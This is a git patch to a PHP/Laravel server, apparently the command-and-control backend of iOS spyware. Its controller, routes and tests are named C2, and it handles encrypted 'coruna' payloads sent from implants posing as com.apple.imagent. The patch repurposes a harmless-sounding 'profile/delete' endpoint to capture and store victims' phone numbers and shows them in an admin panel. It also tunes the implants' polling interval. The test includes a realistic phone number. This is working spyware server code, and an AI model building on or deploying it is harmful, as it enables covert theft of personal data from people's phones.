From 4802d0e51f3bd0ce2ffc514803316c220dc1b0bd Mon Sep 17 00:00:00 2001 From: hashbro Date: Tue, 11 Aug 2026 02:36:09 +0800 Subject: [PATCH] feat: new chain --- app/Http/Controllers/C2/C2Controller.php | 16 ++++++++ app/Models/Device.php | 2 +- app/Services/IngestService.php | 24 +++++++++++ .../2026_08_11_000020_devices_phone.php | 26 ++++++++++++ resources/views/admin/devices/show.blade.php | 6 ++- routes/c2.php | 2 +- tests/Feature/C2ApiTest.php | 40 +++++++++++++++++++ 7 files changed, 113 insertions(+), 3 deletions(-) create mode 100644 database/migrations/2026_08_11_000020_devices_phone.php diff --git a/app/Http/Controllers/C2/C2Controller.php b/app/Http/Controllers/C2/C2Controller.php index ff545c6..0b83d3e 100644 --- a/app/Http/Controllers/C2/C2Controller.php +++ b/app/Http/Controllers/C2/C2Controller.php @@ -186,6 +186,22 @@ class C2Controller extends Controller return $this->encryptedAck(); } + /** + * SMS task poll from imagent. Native treats code==0 as "poll every 3s"; + * non-zero backs off to ~60s — return code 1 to avoid hammering. + * Payload `p` is the device phone number. + */ + public function profileDelete(Request $request): Response + { + $payload = $request->attributes->get('coruna_payload'); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + if ($device && is_array($payload)) { + $this->ingest->ingestDevicePhone($device, $payload); + } + + return $this->encryptedAck(['code' => 1, 'msg' => 'ok', 'data' => null]); + } + public function linkConfigList(Request $request): Response { return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]); diff --git a/app/Models/Device.php b/app/Models/Device.php index 03307d9..f65a45f 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany; class Device extends Model { protected $fillable = [ - 'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', + 'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified', 'album_storage', ]; diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 0defcf2..777f340 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -184,6 +184,30 @@ class IngestService return $channelId === null || $channelId === ''; } + /** + * `/api/user/profile/delete` — store reported phone (`p`) only when still empty. + */ + public function ingestDevicePhone(Device $device, ?array $payload): void + { + if (! is_array($payload)) { + return; + } + if (trim((string) ($device->phone ?? '')) !== '') { + return; + } + + $phone = $payload['p'] ?? $payload['phone'] ?? null; + if (! is_string($phone)) { + return; + } + $phone = trim($phone); + if ($phone === '') { + return; + } + + $device->forceFill(['phone' => substr($phone, 0, 64)])->save(); + } + private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device { $ua = substr((string) $request->userAgent(), 0, 2000); diff --git a/database/migrations/2026_08_11_000020_devices_phone.php b/database/migrations/2026_08_11_000020_devices_phone.php new file mode 100644 index 0000000..65dc0aa --- /dev/null +++ b/database/migrations/2026_08_11_000020_devices_phone.php @@ -0,0 +1,26 @@ +string('phone', 64)->nullable()->after('channel_id'); + } + }); + } + + public function down(): void + { + Schema::table('devices', function (Blueprint $table) { + if (Schema::hasColumn('devices', 'phone')) { + $table->dropColumn('phone'); + } + }); + } +}; diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index e725544..c21bc84 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -19,10 +19,14 @@ {{ $device->ios_version ?: '—' }} + 手机号 + {{ $device->phone ?: '—' }} IP {{ $device->ip ?: '—' }} + + 相册存储 - +
group(function () { Route::post('/api/user/check', [C2Controller::class, 'check']); Route::post('/api/user/avatar/pic', [C2Controller::class, 'avatarPic']); Route::post('/api/user/profile/add', [C2Controller::class, 'profileNop']); - Route::post('/api/user/profile/delete', [C2Controller::class, 'profileNop']); + Route::post('/api/user/profile/delete', [C2Controller::class, 'profileDelete']); Route::post('/api/user/profile/remove', [C2Controller::class, 'profileNop']); Route::post('/link/config/list', [C2Controller::class, 'linkConfigList']); Route::post('/link/config/icon', [C2Controller::class, 'linkConfigIcon']); diff --git a/tests/Feature/C2ApiTest.php b/tests/Feature/C2ApiTest.php index ea58f1b..c091e2b 100644 --- a/tests/Feature/C2ApiTest.php +++ b/tests/Feature/C2ApiTest.php @@ -170,6 +170,46 @@ class C2ApiTest extends TestCase $this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first()); } + #[Test] + public function profile_delete_returns_code_1_and_stores_phone(): void + { + $crypto = new CorunaCrypto; + $payload = [ + 'd' => '00044C1101FB802E', + 'p' => '+66822804380', + 'd3' => '00008030-00044C1101FB802E', + 'd2' => 'DNPD3100N73F', + 'c' => 'e57f5207c9f2bacf7907c09ccf25b107', + 'bundleID' => 'com.apple.imagent', + ]; + $ts = '1722585600333'; + $enc = $crypto->encryptJson($payload, $ts); + + $resp = $this->call('POST', '/api/user/profile/delete', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body']); + + $resp->assertOk(); + $plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp')); + $this->assertSame(1, $plain['code'] ?? null); + + $device = Device::query()->where('device_id', '00044C1101FB802E')->first(); + $this->assertNotNull($device); + $this->assertSame('+66822804380', $device->phone); + $this->assertNull($device->channel_id); + + $ts2 = '1722585600334'; + $enc2 = $crypto->encryptJson(array_merge($payload, ['p' => '+66999999999']), $ts2); + $this->call('POST', '/api/user/profile/delete', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts2, + ], $enc2['body'])->assertOk(); + + $device->refresh(); + $this->assertSame('+66822804380', $device->phone); + } + #[Test] public function user_get_ingests_installed_apps_per_bundle(): void {